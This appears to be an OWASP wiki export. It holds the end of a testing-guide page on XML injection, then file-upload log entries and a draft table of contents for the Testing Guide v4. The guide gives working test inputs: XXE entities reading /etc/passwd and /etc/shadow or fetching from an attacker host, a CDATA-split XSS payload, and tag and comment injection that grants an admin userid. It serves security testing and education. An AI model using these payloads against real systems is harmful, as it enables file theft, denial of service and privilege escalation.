The first step in order to test an application for the presence of a XML Injection<br />
vulnerability consists of trying to insert XML metacharacters.<br><br />
XML metacharacters are:<br />
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.<br />
As an example, let's suppose there is the following attribute:<br />
<br />
'''<node attrib='$inputValue'/>'''<br />
<br />
So, if:<br />
<br />
'''inputValue = foo''''<br />
<br />
is instantiated and then is inserted as the attrib value:<br />
<br />
'''<nowiki><node attrib='foo''/></nowiki>'''<br />
<br />
then, the resulting XML document is not well formed.<br />
<br />
* '''Double quote: " '''- this character has the same meaning as single quote and it could be used if the attribute value is enclosed in double quotes.<br />
<br />
'''<nowiki><node attrib="$inputValue"/></nowiki>'''<br />
<br />
So if:<br />
'''$inputValue = foo"'''<br />
<br />
the substitution gives:<br />
<br />
'''<nowiki><node attrib="foo""/></nowiki>'''<br />
<br />
and the resulting XML document is invalid.<br />
<br />
* '''Angular parentheses: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:<br />
<br />
'''Username = foo<'''<br />
<br />
the application will build a new node:<br />
<br />
'''<nowiki><user> <br />
<username>foo<</username> <br />
<password>Un6R34kb!e</password> <br />
<userid>500</userid><br />
<mail>s4tan@hell.com</mail><br />
</user></nowiki>'''<br />
<br />
but, because of the presence of the open '<', the resulting XML document is invalid.<br />
<br />
<br />
* '''Comment tag: <nowiki><!--/--></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:<br />
<br />
'''<nowiki>Username = foo<!--</nowiki>'''<br />
<br />
the application will build a node like the following:<br />
<br />
'''<nowiki><user> <br />
<username>foo<!--</username> <br />
<password>Un6R34kb!e</password> <br />
<userid>500</userid><br />
<mail>s4tan@hell.com</mail><br />
</user></nowiki>'''<br />
<br />
which won't be a valid XML sequence.<br />
<br />
* '''Ampersand: &amp; '''- The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;symbol;'. An entity is mapped to a character in the Unicode character set.<br />
<br />
For example:<br />
<br />
'''<nowiki><tagnode>&amp;lt;</tagnode></nowiki>'''<br />
<br />
is well formed and valid, and represents the '<' ASCII character.<br />
<br />
If '&amp;' is not encoded itself with &amp;amp;, it could be used to test XML injection.<br />
<br />
In fact, if an input like the following is provided:<br />
<br />
'''Username = &amp;foo'''<br />
<br />
a new node will be created:<br />
<br />
'''<nowiki><user> <br />
<username>&foo</username> <br />
<password>Un6R34kb!e</password> <br />
<userid>500</userid><br />
<mail>s4tan@hell.com</mail><br />
</user></nowiki>'''<br />
<br />
but, again, the document is not valid: &amp;foo is not terminated with ';' and the &foo; entity is undefined.<br />
<br />
<br />
* '''CDATA section delimiters: <![CDATA[ / ]]>''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.<br />
<br />
For example, if there is the need to represent the string '<foo>' inside a text node, a CDATA section may be used:<br />
<br />
'''<nowiki><node><br />
<![CDATA[<foo>]]><br />
</node></nowiki>'''<br />
<br />
so that '<foo>' won't be parsed as markup and will be considered as character data.<br />
<br />
If a node is built in the following way:<br />
<br />
'''<nowiki><username><![CDATA[<$userName]]></username></nowiki>'''<br />
<br />
the tester could try to inject the end CDATA string ']]>' in order to try to invalidate the XML document.<br />
<br />
'''userName = ]]>'''<br />
<br />
this will become:<br />
<br />
'''<username><![CDATA[]]>]]></username>'''<br />
<br />
which is not a valid XML fragment.<br />
<br />
Another test is related to CDATA tag. Suppose that the XML document is processed to generate an HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.<br />
<br />
Let's consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user. <br />
<br />
'''<nowiki> <html><br />
$HTMLCode<br />
</html></nowiki>'''<br />
<br />
Then, an attacker can provide the following input:<br />
<br />
'''<nowiki>$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></nowiki>'''<br />
<br />
and obtain the following node:<br />
<br />
'''<nowiki><html><br />
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]><br />
</html></nowiki>'''<br />
<br />
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:<br />
<br />
'''<script>alert('XSS')</script>'''<br />
<br />
The result is that the application is vulnerable to XSS. <br />
<br />
'''External Entity:'''<br />
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. <br />
<br />
To test for XXE vulnerabilities, one can use the following input:<br />
<br />
'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><br />
<!DOCTYPE foo [ <br />
<!ELEMENT foo ANY ><br />
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''<br />
<br />
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.<br />
<br />
Other useful tests are the following:<br />
<br />
'''<nowiki><br />
<?xml version="1.0" encoding="ISO-8859-1"?><br />
<!DOCTYPE foo [ <br />
<!ELEMENT foo ANY ><br />
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo><br />
<br />
<?xml version="1.0" encoding="ISO-8859-1"?><br />
<!DOCTYPE foo [ <br />
<!ELEMENT foo ANY ><br />
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo><br />
<br />
<?xml version="1.0" encoding="ISO-8859-1"?><br />
<!DOCTYPE foo [ <br />
<!ELEMENT foo ANY ><br />
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo><br />
<br />
<?xml version="1.0" encoding="ISO-8859-1"?><br />
<!DOCTYPE foo [ <br />
<!ELEMENT foo ANY ><br />
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo></nowiki>'''<br />
<br />
=== Tag Injection ===<br />
<br />
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.<br />
<br />
Let's considering the previous application. By inserting the following values:<br />
<br />
'''Username: tony'''<br />
'''Password: Un6R34kb!e'''<br />
'''E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com'''<br />
<br />
the application will build a new node and append it to the XML database:<br />
<br />
'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?> <br />
<users> <br />
<user> <br />
<username>gandalf</username> <br />
<password>!c3</password> <br />
<userid>0</userid><br />
<mail>gandalf@middleearth.com</mail><br />
</user> <br />
<user> <br />
<username>Stefan0</username> <br />
<password>w1s3c</password> <br />
<userid>500</userid><br />
<mail>Stefan0@whysec.hmm</mail><br />
</user> <br />
<user> <br />
<username>tony</username> <br />
<password>Un6R34kb!e</password> <br />
<userid>500</userid><br />
<mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail><br />
</user> <br />
</users></nowiki>'''<br />
<br />
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.<br />
<br />
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.<br />
Let's suppose that the XML document is specified by the following DTD:<br />
<br />
'''<nowiki><!DOCTYPE users [<br />
<!ELEMENT users (user+) ><br />
<!ELEMENT user (username,password,userid,mail+) ><br />
<!ELEMENT username (#PCDATA) ><br />
<!ELEMENT password (#PCDATA) ><br />
<!ELEMENT userid (#PCDATA) ><br />
<!ELEMENT mail (#PCDATA) ><br />
]></nowiki>'''<br />
<br />
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.<br />
<br />
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting <br />
a comment start/end sequence:<br />
<br />
<br />
'''Username: tony'''<br />
'''<nowiki>Password: Un6R34kb!e</password><!--</nowiki>'''<br />
'''<nowiki>E-mail: --><userid>0</userid><mail>s4tan@hell.com</nowiki>'''<br />
<br />
In this case, the final XML database is:<br />
<br />
'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?> <br />
<users> <br />
<user> <br />
<username>gandalf</username> <br />
<password>!c3</password> <br />
<userid>0</userid><br />
<mail>gandalf@middleearth.com</mail><br />
</user> <br />
<user> <br />
<username>Stefan0</username> <br />
<password>w1s3c</password> <br />
<userid>500</userid><br />
<mail>Stefan0@whysec.hmm</mail><br />
</user> <br />
<user> <br />
<username>tony</username> <br />
<password>Un6R34kb!e</password><!--</password> <br />
<userid>500</userid><br />
<mail>--><userid>0</userid><mail>s4tan@hell.com</mail><br />
</user><br />
</users></nowiki>'''<br />
<br />
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.<br><br />
<br />
== References ==<br />
'''Whitepapers'''<br><br />
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt<br><br />
* Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714<br />
<br />
'''Tools'''<br><br />
* XML Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=File:WebSocket_Client.png&diff=157856File:WebSocket Client.png2013-09-04T15:15:51Z<p>Ryan Dewhurst: Screenshot of a WebSocket client communicating cross-domain.</p>
<hr />
<div>Screenshot of a WebSocket client communicating cross-domain.</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=File:OWASP_ZAP_WebSockets.png&diff=157855File:OWASP ZAP WebSockets.png2013-09-04T14:59:25Z<p>Ryan Dewhurst: Screenshot of OWASP ZAP's WebSocket tab.</p>
<hr />
<div>Screenshot of OWASP ZAP's WebSocket tab.</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&diff=157839OWASP Testing Guide v4 Table of Contents2013-09-04T11:16:11Z<p>Ryan Dewhurst: Added "Testing WebSockets"</p>
<hr />
<div>__NOTOC__<br />
<br />
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''<br><br />
<br>You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] <br><br />
<br />
Back to the OWASP Testing Guide Project:<br />
http://www.owasp.org/index.php/OWASP_Testing_Project<br />
<br />
'''Updated: 15th February 2013'''<br />
<br />
[[ OWTGv4 Contributors list|'''Contributors List]]<br />
<br />
----<br />
<br />
<br />
The following is a DRAFT of the Toc based on the feedback already received.<br />
<br />
== Table of Contents ==<br />
<br />
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== <br />
[To review--> Eoin Keary -> Done!!]<br />
<br />
==[[Testing Guide Frontispiece |1. Frontispiece]]== <br />
[To review--> Mat]<br />
<br />
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' <br />
[To review--> Mat]<br />
<br />
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' <br />
[To review--> ]<br />
<br />
<br />
==[[Testing Guide Introduction|2. Introduction]]==<br />
<br />
'''2.1 The OWASP Testing Project'''<br />
<br />
'''2.2 Principles of Testing'''<br />
<br />
'''2.3 Testing Techniques Explained''' <br />
<br />
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]<br />
<br />
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]<br />
<br />
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==<br />
<br />
'''3.1. Overview'''<br />
<br />
'''3.2. Phase 1: Before Development Begins '''<br />
<br />
'''3.3. Phase 2: During Definition and Design'''<br />
<br />
'''3.4. Phase 3: During Development'''<br />
<br />
'''3.5. Phase 4: During Deployment'''<br />
<br />
'''3.6. Phase 5: Maintenance and Operations'''<br />
<br />
'''3.7. A Typical SDLC Testing Workflow '''<br />
<br />
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==<br />
<br />
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]<br />
<br />
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]<br />
<br />
<br />
[[Testing Information Gathering|'''4.2 Information Gathering ''']]<br />
<br />
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"<br />
<br />
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"<br />
<br />
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"<br />
<br />
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"<br />
<br />
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"<br />
<br />
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"<br />
<br />
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly "Identify application exit/handover points (OWASP-IG-008)"<br />
<br />
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"<br />
<br />
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"<br />
<br />
[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"<br />
<br />
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"<br />
<br />
<br />
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]<br />
<br />
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"<br />
<br />
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)"<br />
<br />
[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"<br />
<br />
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"<br />
<br />
[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)"<br />
<br />
[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"<br />
<br />
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"<br />
<br />
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"<br />
<br />
[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"<br />
<br />
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]<br />
<br />
[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"<br />
<br />
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new<br />
<br />
<br />
[[Testing Identity Management|'''4.4 Identity Management Testing''']]<br />
<br />
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New<br />
<br />
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New<br />
<br />
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New<br />
<br />
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"<br />
<br />
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)<br />
<br />
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New<br />
<br />
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New<br />
<br />
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New<br />
<br />
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New<br />
<br />
<br />
<br />
[[Testing for authentication|'''4.5 Authentication Testing ''']] <br />
<br />
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"<br />
<br />
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"<br />
<br />
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"<br />
<br />
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"<br />
<br />
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"<br />
<br />
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"<br />
<br />
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"<br />
<br />
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel<br />
<br />
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"<br />
<br />
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)<br />
<br />
<br />
[[Testing for Authorization|'''4.6 Authorization Testing''']] <br />
<br />
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New<br />
<br />
[[Testing for Path Traversal (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"<br />
<br />
[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"<br />
<br />
[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"<br />
<br />
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"<br />
<br />
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"<br />
<br />
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)<br />
<br />
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)<br />
<br />
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"<br />
<br />
<br />
[[Testing for Session Management|'''4.7 Session Management Testing''']]<br />
<br />
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"<br />
<br />
[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)<br />
<br />
[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"<br />
<br />
[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"<br />
<br />
[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"<br />
<br />
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]<br />
<br />
[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"<br />
<br />
[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]<br />
<br />
[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]<br />
<br />
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]<br />
<br />
<br />
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] <br />
<br />
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"<br />
<br />
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"<br />
<br />
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"<br />
<br />
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"<br />
<br />
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"<br />
<br />
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''<br />
<br />
[[Testing for Oracle|4.8.6.1 Oracle Testing]]<br />
<br />
[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]<br />
<br />
[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]<br />
<br />
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]<br />
<br />
[[Testing for MS Access |4.8.6.5 MS Access Testing]]<br />
<br />
[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]<br />
<br />
[[Testing for LDAP Injection (OWASP-DV-006)|4.8.7 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"<br />
<br />
[[Testing for ORM Injection (OWASP-DV-007)|4.8.8 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"<br />
<br />
[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"<br />
<br />
[[Testing for SSI Injection (OWASP-DV-009)|4.8.10 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"<br />
<br />
[[Testing for XPath Injection (OWASP-DV-010)|4.8.11 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"<br />
<br />
[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"<br />
<br />
[[Testing for Code Injection (OWASP-DV-012)|4.8.13 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"<br />
<br />
[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]<br />
<br />
[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]<br />
<br />
[[Testing for Command Injection (OWASP-DV-013)|4.8.14 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"<br />
<br />
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"<br />
<br />
[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]<br />
<br />
[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]<br />
<br />
[[Testing for Format String|4.8.15.3 Testing for Format string]]<br />
<br />
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"<br />
<br />
[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)"<br />
<br />
<br />
<br />
[[Error Handling|'''4.9 Error Handling''']]<br />
<br />
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"<br />
<br />
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"<br />
<br />
<br />
[[Cryptography|'''4.10 Cryptography''']]<br />
<br />
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"<br />
<br />
